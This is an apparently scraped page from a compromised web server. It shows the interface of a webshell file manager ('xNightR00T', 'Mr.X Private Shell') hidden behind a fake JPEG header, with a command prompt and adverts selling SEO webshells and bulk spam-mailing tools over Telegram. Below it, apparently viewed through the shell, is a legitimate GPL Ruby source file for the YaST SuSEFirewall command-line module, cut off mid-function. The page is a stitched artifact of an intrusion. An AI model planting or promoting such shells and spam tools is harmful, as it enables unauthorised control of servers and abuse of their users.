xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ***************************************************************************
#
# Copyright (c) 2000 - 2012 Novell, Inc.
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail,
# you may find current contact information at www.novell.com
#
# ***************************************************************************
#
# File:	modules/SuSEFirewallCMDLine.ycp
# Package:	Firewall configuration
# Summary:	Command Line for YaST2 Firewall (Only for Firewall)
# Authors:	Lukas Ocilka <locilka@suse.cz>
# Internal
#
# $Id$
require "yast"
require "network/susefirewalld"

module Yast
  class SuSEFirewallCMDLineClass < Module
    def main
      Yast.import "UI"

      textdomain "firewall"

      Yast.import "CommandLine"
      Yast.import "SuSEFirewall"
      Yast.import "SuSEFirewallServices"
      Yast.import "SuSEFirewallUI"
      Yast.import "Mode"
      Yast.import "Report"
      Yast.import "String"

      Yast.include self, "firewall/summary.rb"
      Yast.include self, "firewall/generalfunctions.rb"

      @cmdline = {
        "id"         => "firewall",
        # TRANSLATORS: CommandLine help
        "help"       => _(
          "Firewall configuration"
        ),
        "initialize" => fun_ref(SuSEFirewall.method(:Read), "boolean ()"),
        "finish"     => fun_ref(SuSEFirewall.method(:Write), "boolean ()"),
        "actions"    => {
          "startup"      => {
            "handler" => fun_ref(method(:FWCMDStartup), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Start-up settings"),
            "example" => ["startup show", "startup atboot", "startup manual"]
          },
          "zones"        => {
            "handler" => fun_ref(method(:FWCMDZones), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Known firewall zones"
            ),
            "example" => "zones list"
          },
          "interfaces"   => {
            "handler" => fun_ref(method(:FWCMDInterfaces), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Network interfaces configuration"
            ),
            "example" => [
              "interfaces show",
              "interfaces add interface=eth0 zone=INT"
            ]
          },
          "services"     => {
            "handler" => fun_ref(method(:FWCMDServices), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Allowed services, ports, and protocols"
            ),
            "example" => [
              "services show detailed",
              "services set protect=yes zone=INT",
              "services add service=service:dhcp-server zone=EXT",
              "services remove ipprotocol=esp tcpport=12,13,ipp zone=DMZ"
            ]
          },
          "broadcast"    => {
            "handler" => fun_ref(method(:FWCMDBroadcast), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Broadcast packet settings"
            ),
            "example" => "broadcast add zone=INT port=ipp,233"
          },
          "masquerade"   => {
            "handler" => fun_ref(method(:FWCMDMasquerade), "boolean (map)"),
            # TRANSLATORS: CommandLine
            "help"    => _("Masquerading settings"),
            "example" => ["masquerade show", "masquerade enable"]
          },
          "masqredirect" => {
            "handler" => fun_ref(method(:FWCMDMasqRedirect), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Redirect requests to masqueraded IP"
            ),
            "example" => "masqredirect remove record=6"
          },
          "logging"      => {
            "handler" => fun_ref(method(:FWCMDLogging), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Logging settings"),
            "example" => [
              "logging set accepted=critical",
              "logging set logbroadcast=no zone=INT"
            ]
          },
          "summary"      => {
            "handler" => fun_ref(method(:FWCMDSummary), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Firewall configuration summary"
            ),
            "example" => ["summary", "summary zone=EXT"]
          },
          "enable"       => {
            "handler" => fun_ref(method(:FWCMDEnable), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Enables firewall"),
            "example" => ["enable"]
          },
          "disable"      => {
            "handler" => fun_ref(method(:FWCMDDisable), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Disables firewall"),
            "example" => ["disable"]
          }
        },
        "options"    => {
          "show"         => {
            # TRANSLATORS: CommandLine help
            "help" => _("Show current settings")
          },
          "atboot"       => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Start firewall in the boot process"
            )
          },
          "manual"       => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Start firewall manually"
            )
          },
          "list"         => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "List configured entries"
            )
          },
          "zone"         => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("Zone short name")
          },
          "add"          => {
            # TRANSLATORS: CommandLine help
            "help" => _("Add a new record")
          },
          "remove"       => {
            # TRANSLATORS: CommandLine help
            "help" => _("Remove a record")
          },
          "interface"    => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Network interface configuration name"
            )
          },
          "accepted"     => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Logging accepted packets (all|crit|none)"
            )
          },
          "nonaccepted"  => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Logging not accepted packets (all|crit|none)"
            )
          },
          "logbroadcast" => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Logging broadcast packets (yes|no)"
            )
          },
          "set"          => {
            # TRANSLATORS: CommandLine help
            "help" => _("Set value")
          },
          "port"         => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Port name or number; comma-separate multiple ports"
            )
          },
          "service"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Known firewall service; comma-separate multiple services"
            )
          },
          "tcpport"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "TCP port name or number; comma-separate multiple ports"
            )
          },
          "udpport"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "UDP port name or number; comma-separate multiple ports"
            )
          },
          "rpcport"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "RPC port name; comma-separate multiple ports"
            )
          },
          "ipprotocol"   => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "IP protocol name; comma-separate multiple protocols"
            )
          },
          "protect"      => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Set zone protection (yes|no)"
            )
          },
          "detailed"     => {
            # TRANSLATORS: CommandLine help
            "help" => _("Detailed information")
          },
          "enable"       => {
            # TRANSLATORS: CommandLine help
            "help" => _("Enable option")
          },
          "disable"      => {
            # TRANSLATORS: CommandLine help
            "help" => _("Disable option")
          },
          "sourcenet"    => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Source network, such as 0/0 or 145.12.35.0/255.255.255.0"
            )
          },
          "protocol"     => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("Protocol (tcp|udp)")
          },
          "req_ip"       => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Requested external IP (optional)"
            )
          },
          "req_port"     => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Requested port name or number"
            )
          },
          "redir_ip"     => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Redirect to internal IP"
            )
          },
          "redir_port"   => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Redirect to port on internal IP (optional)"
            )
          },
          "record"       => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _("Record number")
          },
          "names"        => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Use port names instead of port numbers"
            )
          }
        },
        "mappings"   => {
          "startup"      => ["show", "atboot", "manual"],
          "zones"        => ["list"],
          "interfaces"   => ["show", "add", "remove", "interface", "zone"],
          "services"     => [
            "list",
            "show",
            "add",
            "remove",
            "set",
            "detailed",
            "zone",
            "service",
            "tcpport",
            "udpport",
            "rpcport",
            "ipprotocol",
            "protect"
          ],
          "masquerade"   => ["show", "enable", "disable"],
          "masqredirect" => [
            "show",
            "add",
            "remove",
            "sourcenet",
            "protocol",
            "req_ip",
            "req_port",
            "redir_ip",
            "redir_port",
            "record",
            "names"
          ],
          "logging"      => [
            "show",
            "set",
            "accepted",
            "nonaccepted",
            "logbroadcast",
            "zone"
          ],
          "broadcast"    => ["show", "add", "remove", "zone", "port"],
          "summary"      => ["zone"],
          "enable"       => [],
          "disable"      => []
        }
      }

      ConfigureFirewalld()

    end

    # Returns list of strings made from the comma-separated string got as param.
    #
    # @param [Object] comma_separated_string
    # @return [Array<String>] items
    def CommaSeparatedList(comma_separated_string)
      comma_separated_string = deep_copy(comma_separated_string)
      Builtins.splitstring(Convert.to_string(comma_separated_string), ",")
    end

    # Function checks zone string for existency
    #
    # @param [String] zone
    # @param [Boolean] optional, true=is optional, false=has to be set
    # @return	[Boolean] if zone exists or not set if optional
    def CheckZone(zone, optional)
      # any zone defined
      if zone != "" && zone != nil
        # unknown zone
        if !Builtins.contains(SuSEFirewall.GetKnownFirewallZones, zone)
          # TRANSLATORS: CommandLine error, %1 is a firewall zone shortcut
          CommandLine.Error(Builtins.sformat(_("Unknown zone %1."), zone))
          return false 
          # defined, known zone
        else
          return true
        end 
        # no zone defined
      else
        # not needed, OK
        return true if optional

        # TRANSLATORS: CommandLine error, %1 is needed parameter name
        CommandLine.Error(
          Builtins.sformat(_("Parameter %1 must be set."), "zone")
        )
        return false
      end
    end

    # Function prints table of known firewall zones
    def ListFirewallZones
      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(
        String.UnderlinedHeader(_("Listing Known Firewall Zones:"), 0)
      )
      CommandLine.Print("")

      table_items = []
      Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
        table_items = Builtins.add(
          table_items,
          [zone, SuSEFirewall.GetZoneFullName(zone)]
        )
      end
      CommandLine.Print(
        String.TextTable(
          [
            # TRANSLATORS: CommandLine table header item
            _("Shortcut"),
            # TRANSLATORS: CommandLine table header item
            _("Zone Name")
          ],
          table_items,
          {}
        )
      )

      CommandLine.Print("")

      nil
    end

    # Calls ListFirewallZones
    #
    # @return [Boolean] always false
    def FWCMDZones(options)
      options = deep_copy(options)
      # listing known zones
      ListFirewallZones() if Ops.get(options, "list") != nil

      # Do not call Write()
      false
    end

    # Prints firewall summary for zones
    #
    # @param [Hash] options
    # @return [Boolean] always false
    def FWCMDSummary(options)
      options = deep_copy(options)
      # printing summary

      # no zone => all zones
      for_zone = Ops.get_string(options, "zone")
      for_zones = []
      if for_zone != nil
        if !CheckZone(for_zone, false)
          return false
        else
          for_zones = [for_zone]
        end
      end

      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(String.UnderlinedHeader(_("Summary:"), 0))
      CommandLine.Print("")
      if firewalld?
        if for_zones.empty?
          CommandLine.Print(SuSEFirewall.fwd_api.list_all_zones.join("\n"))
        else
          for_zones.each do |zone|
            CommandLine.Print(SuSEFirewall.fwd_api.list_all_zone(zone).join("\n"))
          end
        end
      else
        CommandLine.Print(InitBoxSummary(for_zones))
      end

      # Do not call Write()
      false
    end

    # Sets startup details
    #
    # @return [Boolean] always true
    def FWCMDStartup(options)
      options = deep_copy(options)
      if Ops.get(options, "atboot") != nil && Ops.get(options, "manual") != nil
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
      elsif Ops.get(options, "atboot") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(String.UnderlinedHeader(_("Start-Up:"), 0))
        CommandLine.Print("")
        # TRANSLATORS: CommandLine progress information
        CommandLine.Print(_("Enabling firewall in the boot process..."))
        CommandLine.Print("")
        SuSEFirewall.SetEnableService(true)
      elsif Ops.get(options, "manual") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(String.UnderlinedHeader(_("Start-Up:"), 0))
        CommandLine.Print("")
        # TRANSLATORS: CommandLine progress information
        CommandLine.Print(_("Removing firewall from the boot process..."))
        CommandLine.Print("")
        SuSEFirewall.SetEnableService(false)
      elsif Ops.get(options, "show") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(String.UnderlinedHeader(_("Start-Up:"), 0))
        CommandLine.Print("")
        if SuSEFirewall.GetEnableService
          # TRANSLATORS: CommandLine informative text
          CommandLine.Print(_("Firewall is enabled in the boot process"))
        else
          # TRANSLATORS: CommandLine informative text
          CommandLine.Print(_("Firewall needs manual starting"))
        end
        CommandLine.Print("")
      end

      true
    end

    # Sets network interface assignment
    #
    # @param [Hash] options
    # @return [Boolean] whether write call is needed
    def FWCMDInterfaces(options)
      options = deep_copy(options)
      unassigned_interfaces = []
      interfaces = {}
      Builtins.foreach(SuSEFirewall.GetAllKnownInterfaces) do |interface|
        Ops.set(interfaces, Ops.get(interface, "id", ""), interface)
        if Ops.get(interface, "zone") == nil
          unassigned_interfaces = Builtins.add(
            unassigned_interfaces,
            Ops.get(interface, "id")
          )
        end
      end
      for_zone = Ops.get_string(options, "zone")
      return false if !CheckZone(for_zone, true)

      CommandLine.Print("")
      # creating current configuration list
      if Ops.get(options, "show") != nil
        # TRANSLATORS: CommandLine header
        CommandLine.Print(
          String.UnderlinedHeader(_("Network Interfaces in Firewall Zones:"), 0)
        )
        CommandLine.Print("")

        table_items = []
        Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
          # for_zone defined but it is not current zone
          next if for_zone != nil && for_zone != zone
          Builtins.foreach(SuSEFirewall.GetInterfacesInZone(zone)) do |interface|
            table_items = Builtins.add(
              table_items,
              [zone, interface, Ops.get(interfaces, [interface, "name"], "")]
            )
          end
          Builtins.foreach(SuSEFirewall.GetSpecialInterfacesInZone(zone)) do |spec_int|
            # TRANSLATORS: CommandLine table item (unknown/special string/interface)
            table_items = Builtins.add(
              table_items,
              [zone, spec_int, _("Special firewall string")]
            )
          end
        end
        # print unassigned only in general view
        if for_zone == nil &&
            Ops.greater_than(Builtins.size(unassigned_interfaces), 0)
          Builtins.foreach(unassigned_interfaces) do |interface|
            table_items = Builtins.add(
              table_items,
              ["---", interface, Ops.get(interfaces, [interface, "name"], "")]
            )
          end
        end
        CommandLine.Print(
          String.TextTable(
            [
              # TRANSLATORS: CommandLine table header item
              _("Zone"),
              # TRANSLATORS: CommandLine table header item
              _("Interface"),
              # TRANSLATORS: CommandLine table header item
              _("Device Name")
            ],
            table_items,
            {}
          )
        )
      elsif Ops.get(options, "add") != nil
        interface = Ops.get_string(options, "interface")
        if interface == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "interface")
          )
          return false
        end
        if for_zone == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "zone")
          )
          return false
        end
        # unknown interface
        if Ops.get(interfaces, interface, {}) == {}
          # TRANSLATORS: CommandLine progress information, %1 is the special string, %2 is the zone name
          CommandLine.Print(
            Builtins.sformat(
              _("Adding special string %1 into zone %2..."),
              interface,
              for_zone
            )
          )
          SuSEFirewall.AddSpecialInterfaceIntoZone(interface, for_zone)
        else
          # TRANSLATORS: CommandLine progress information, %1 is the network interface name, %2 is the zone name
          CommandLine.Print(
            Builtins.sformat(
              _("Adding interface %1 into zone %2..."),
              interface,
              for_zone
            )
          )
          SuSEFirewall.AddInterfaceIntoZone(interface, for_zone)
        end
      end
      if Ops.get(options, "remove") != nil
        interface = Ops.get_string(options, "interface")
        if interface == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "interface")
          )
          return false
        end
        if for_zone == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "zone")
          )
          return false
        end
        # unknown interface
        if Ops.get(interfaces, interface, {}) == {}
          # TRANSLATORS: CommandLine progress information, %1 is the special string, %2 is the zone name
          CommandLine.Print(
            Builtins.sformat(
              _("Removing special string %1 from zone %2..."),
              interface,
              for_zone
            )
          )
          SuSEFirewall.RemoveSpecialInterfaceFromZone(interface, for_zone)
        else
          # TRANSLATORS: CommandLine progress information, %1 is the network interface name, %2 is the zone name
          CommandLine.Print(
            Builtins.sformat(
              _("Removing interface %1 from zone %2..."),
              interface,
              for_zone
            )
          )
          SuSEFirewall.RemoveInterfaceFromZone(interface, for_zone)
        end
      end
      CommandLine.Print("")

      true
    end

    # Sets logging details
    #
    # @param [Hash] options
    # @return [Boolean] whether write is needed
    def FWCMDLogging(options)
      options = deep_copy(options)
      logging_meaning = {
        # TRANSLATORS: CommandLine table item
        "ALL"  => _("Log all"),
        # TRANSLATORS: CommandLine table item
        "CRIT" => _("Log only critical"),
        # TRANSLATORS: CommandLine table item
        "NONE" => _("Do not log any")
      }

      if Ops.get(options, "show") != nil
        log_accepted = SuSEFirewall.GetLoggingSettings("ACCEPT")
        log_nonaccepted = SuSEFirewall.GetLoggingSettings("DROP")

        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(
          String.UnderlinedHeader(_("Global Logging Settings:"), 0)
        )
        CommandLine.Print("")

        CommandLine.Print(
          String.TextTable(
            [
              # TRANSLATORS: CommandLine table header item
              _("Rule Type"),
              # TRANSLATORS: CommandLine table header item
              _("Value"),
              _("Logging Level")
            ],
            [
              # TRANSLATORS: CommandLine table item
              [
                _("Accepted"),
                Builtins.tolower(log_accepted),
                Ops.get(logging_meaning, log_accepted, "Software Error")
              ],
              # TRANSLATORS: CommandLine table item
              [
                _("Not accepted"),
                Builtins.tolower(log_nonaccepted),
                Ops.get(logging_meaning, log_nonaccepted, "Software Error")
              ]
            ],
            {}
          )
        )
        CommandLine.Print("")

        # TRANSLATORS: CommandLine header
        CommandLine.Print(
          String.UnderlinedHeader(_("Logging Broadcast Packets:"), 0)
        )
        CommandLine.Print("")

        table_items = []
        Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
          table_items = Builtins.add(
            table_items,
            [
              zone,
              SuSEFirewall.GetZoneFullName(zone),
              SuSEFirewall.GetIgnoreLoggingBroadcast(zone) == "yes" ?
                # TRANSLATORS: CommandLine table item
                _("Logging enabled") :
                # TRANSLATORS: CommandLine table item
                _("Logging disabled")
            ]
          )
        end
        CommandLine.Print(
          String.TextTable(
            [
              # TRANSLATORS: CommandLine table header item
              _("Short"),
              # TRANSLATORS: CommandLine table header item
              _("Zone Name"),
              # TRANSLATORS: CommandLine table header item
              _("Logging Status")
            ],
            table_items,
            {}
          )
        )
        CommandLine.Print("")

        return false
      elsif Ops.get(options, "set") != nil
        possible_levels = ["all", "crit", "none"]
        if Ops.get(options, "accepted") != nil
          value = Builtins.tolower(Ops.get_string(options, "accepted"))
          if !Builtins.contains(possible_levels, value)
            # TRANSLATORS: CommandLine error message, %1 is an option value, %2 is an option name
            CommandLine.Error(
              Builtins.sformat(
                _("Value %1 is not allowed for option %2."),
                Ops.get(options, "accepted"),
                "accepted"
              )
            )
            return false
          end
          SuSEFirewall.SetLoggingSettings("ACCEPT", Builtins.toupper(value))
        end
        if Ops.get(options, "nonaccepted") != nil
          value = Builtins.tolower(Ops.get_string(options, "nonaccepted"))
          if !Builtins.contains(possible_levels, value)
            # TRANSLATORS: CommandLine error message, %1 is an option value, %2 is an option name
            CommandLine.Error(
              Builtins.sformat(
                _("Value %1 is not allowed for option %2."),
                Ops.get(options, "nonaccepted"),
                "nonaccepted"
              )
            )
            return false
          end
          SuSEFirewall.SetLoggingSettings("DROP", Builtins.toupper(value))
        end
        if Ops.get(options, "logbroadcast") != nil
          zones_to_setup = SuSEFirewall.GetKnownFirewallZones
          # zone defined
          zone = Ops.get_string(options, "zone")
          # zone is defined
          if zone != nil
            # defined, but wrong
            if !CheckZone(zone, false)
              return false 
              # defined well
            else
              zones_to_setup = [zone]
            end
          end

          value = Builtins.tolower(Ops.get_string(options, "logbroadcast"))
          if !Builtins.contains(["yes", "no"], value)
            # TRANSLATORS: CommandLine error message, %1 is an option value, %2 is an option name
            CommandLine.Error(
              Builtins.sformat(
                _("Value %1 is not allowed for option %2."),
                Ops.get(options, "logbroadcast"),
                "logbroadcast"
              )
            )
            return false
          end

          Builtins.foreach(zones_to_setup) do |zone2|
            SuSEFirewall.SetIgnoreLoggingBroadcast(zone2, value)
          end
        end

        return true
      end

      nil
    end

    # Sets broadcast
    #
    # @param [Hash] options
    # @return [Boolean] if write is needed
    def FWCMDBroadcast(options)
      options = deep_copy(options)
      if Ops.get(options, "show") != nil
        # all zones if no zone is defined
        for_zones = SuSEFirewall.GetKnownFirewallZones
        zone = Ops.get_string(options, "zone", "")
        if zone != ""
          if !CheckZone(zone, false)
            return false
          else
            for_zones = [zone]
          end
        end

        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(
          String.UnderlinedHeader(_("Allowed Broadcast Ports:"), 0)
        )
        CommandLine.Print("")
        table_items = []
        broadcast_ports = SuSEFirewall.GetBroadcastAllowedPorts
        Builtins.foreach(for_zones) do |zone2|
          zone_name = SuSEFirewall.GetZoneFullName(zone2)
          Builtins.foreach(Ops.get(broadcast_ports, zone2, [])) do |port|
            table_items = Builtins.add(table_items, [zone2, zone_name, port])
          end
        end
        CommandLine.Print(
          String.TextTable(
            [
              # TRANSLATORS: CommandLine header item
              _("Short"),
              # TRANSLATORS: CommandLine header item
              _("Zone Name"),
              # TRANSLATORS: CommandLine header item
              _("Port")
            ],
            table_items,
            {}
          )
        )
        CommandLine.Print("")

        return false
      elsif Ops.get(options, "add") != nil && Ops.get(options, "remove") != nil
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one action command is allowed here."))
        return false
      elsif Ops.get(options, "add") != nil || Ops.get(options, "remove") != nil
        # undefined zone
        if Ops.get(options, "zone") == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "zone")
          )
          return false
        end
        # unknown zone
        zone = Ops.get_string(options, "zone")
        return false if !CheckZone(zone, false)

        # undefined port
        if Ops.get(options, "port") == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "port")
          )
          return false
        end

        todo = ""
        if Ops.get(options, "add") != nil
          todo = "add"
        elsif Ops.get(options, "remove") != nil
          todo = "remove"
        end

        broadcast_ports = SuSEFirewall.GetBroadcastAllowedPorts
        Builtins.foreach(
          CommaSeparatedList(Ops.get_string(options, "port", ""))
        ) do |port|
          if todo == "add"
            Ops.set(
              broadcast_ports,
              zone,
              Builtins.toset(
                Builtins.add(Ops.get(broadcast_ports, zone, []), port)
              )
            )
          else
            Ops.set(
              broadcast_ports,
              zone,
              Builtins.filter(Ops.get(broadcast_ports, zone, [])) do |filter_port|
                filter_port != port
              end
            )
          end
        end

        SuSEFirewall.SetBroadcastAllowedPorts(broadcast_ports)
        return true
      end

      false
    end

    # Prints all known firewall services
    def FWCMDServicesList
      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(
        String.UnderlinedHeader(_("Defined Firewall Services:"), 0)
      )
      table_items = []
      Builtins.foreach(SuSEFirewallServices.GetSupportedServices) do |service_id, service_name|
        table_items = Builtins.add(table_items, [service_id, service_name])
      end
      CommandLine.Print("")
      CommandLine.Print(
        String.TextTable(
          [
            # TRANSLATORS: CommandLine table header item
            _("ID"),
            # TRANSLATORS: CommandLine table header item
            _("Service Name")
          ],
          table_items,
          {}
        )
      )
      CommandLine.Print("")

      nil
    end

    # Prints currently allowed services
    #
    # @param [Array<String>] for_zones
    # @param [Boolean] detailed
    def FWCMDServicesShow(for_zones, detailed)
      for_zones = deep_copy(for_zones)
      known_services = SuSEFirewallServices.GetSupportedServices
      protect_from_INT = SuSEFirewall.GetProtectFromInternalZone

      detailed_def = {
        # TRANSLATORS: CommandLine table item
        "tcp_ports"    => _("TCP port"),
        # TRANSLATORS: CommandLine table item
        "udp_ports"    => _("UDP port"),
        # TRANSLATORS: CommandLine table item
        "rpc_ports"    => _("RPC port"),
        # TRANSLATORS: CommandLine table item
        "ip_protocols" => _("IP protocol")
      }

      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(
        String.UnderlinedHeader(_("Allowed Services in Zones:"), 0)
      )
      CommandLine.Print("")
      table_items = []
      Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
        next if !Builtins.contains(for_zones, zone)
        if zone == "INT" && protect_from_INT == false
          table_items = Builtins.add(
            table_items,
            [
              zone,
              # TRANSLATORS: CommandLine table item (all firewall services are allowed in this zone)
              "*" +
                _("All services") + "*",
              # TRANSLATORS: CommandLine table item (this zone is not protected at all)
              "*" +
                _("Entire zone unprotected") + "*"
            ]
          )
          next
        end
        Builtins.foreach(known_services) do |service_id, service_name|
          if SuSEFirewall.IsServiceSupportedInZone(service_id, zone)
            table_items = Builtins.add(
              table_items,
              [zone, service_id, service_name]
            )
            # detailed listing of used ports
            if detailed
              needed_ports = SuSEFirewallServices.GetNeededPortsAndProtocols(
                service_id
              )
              Builtins.foreach(
                ["tcp_ports", "udp_ports", "rpc_ports", "ip_protocols"]
              ) do |short_def|
                if Ops.greater_than(
                    Builtins.size(Ops.get(needed_ports, short_def, [])),
                    0
                  )
                  Builtins.foreach(Ops.get(needed_ports, short_def, [])) do |port|
                    table_items = Builtins.add(
                      table_items,
                      [
                        "",
                        Builtins.sformat(
                          "> %1: %2",
                          Ops.get(detailed_def, short_def, ""),
                          port
                        )
                      ]
                    )
                    table_items = Builtins.add(table_items, [""])
                  end
                end
              end
            end
          end
        end
      end
      CommandLine.Print(
        String.TextTable(
          [
            # TRANSLATORS: CommandLine table header item
            _("Zone"),
            # TRANSLATORS: CommandLine table header item
            _("Service ID"),
            # TRANSLATORS: CommandLine table header item
            _("Service Name")
          ],
          table_items,
          {}
        )
      )

      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(
        String.UnderlinedHeader(_("Additional Allowed Ports:"), 0)
      )
      CommandLine.Print("")
      table_items = []
      Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
        next if !Builtins.contains(for_zones, zone)
        if zone == "INT" && protect_from_INT == false
          table_items = Builtins.add(
            table_items,
            [
              zone,
              # TRANSLATORS: CommandLine table item (all ports are allowed in this zone)
              "*" +
                _("All ports") + "*",
              # TRANSLATORS: CommandLine table item (this zone is not protected at all)
              "*" +
                _("Entire zone unprotected") + "*"
            ]
          )
          next
        end
        Builtins.foreach(["TCP", "UDP", "RPC"]) do |protocol|
          Builtins.foreach(SuSEFirewall.GetAdditionalServices(protocol, zone)) do |port|
            table_items = Builtins.add(table_items, [zone, protocol, port])
          end
        end
      end
      CommandLine.Print(
        String.TextTable(
          [
            # TRANSLATORS: CommandLine table header item
            _("Zone"),
            # TRANSLATORS: CommandLine table header item
            _("Protocol"),
            # TRANSLATORS: CommandLine table header item
            _("Port")
          ],
          table_items,
          {}
        )
      )
      CommandLine.Print("")

      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(
        String.UnderlinedHeader(
          _("Allowed Additional IP Protocols in Zones:"),
          0
        )
      )
      CommandLine.Print("")
      table_items = []
      Builtins.foreach(SuSEFirewall.GetKnownFirewallZones) do |zone|
        next if !Builtins.contains(for_zones, zone)
        if zone == "INT" && protect_from_INT == false
          table_items = Builtins.add(
            table_items,
            [
              zone,
              # TRANSLATORS: CommandLine table item (all protocols are allowed in this zone)
              "*" +
                _("All IP protocols") + "*",
              # TRANSLATORS: CommandLine table item (this zone is not protected at all)
              "*" +
                _("Entire zone unprotected") + "*"
            ]
          )
          next
        end
        Builtins.foreach(SuSEFirewall.GetAdditionalServices("IP", zone)) do |protocol|
          table_items = Builtins.add(table_items, [zone, protocol])
        end
      end
      CommandLine.Print(
        String.TextTable(
          [
            # TRANSLATORS: CommandLine table header item
            _("Zone"),
            # TRANSLATORS: CommandLine table header item
            _("IP Protocol")
          ],
          table_items,
          {}
        )
      )
      CommandLine.Print("")

      nil
    end

    # Adds/removes services to/from zone.
    #
    # @param [String] action ("add" or "remove")
    # @param [String] zone
    # @param [Array<String>] services
    def FWCMDServicesDefinedServicesManagement(action, zone, services)
      services = deep_copy(services)
      Builtins.foreach(services) do |service|
        if !SuSEFirewallServices.IsKnownService(service)
          # TRANSLATORS: CommandLine error message, %1 is a service id
          CommandLine.Error(Builtins.sformat(_("Unknown service %1."), service))
          services = Builtins.filter(services) do |service_item|
            service_item != service
          end
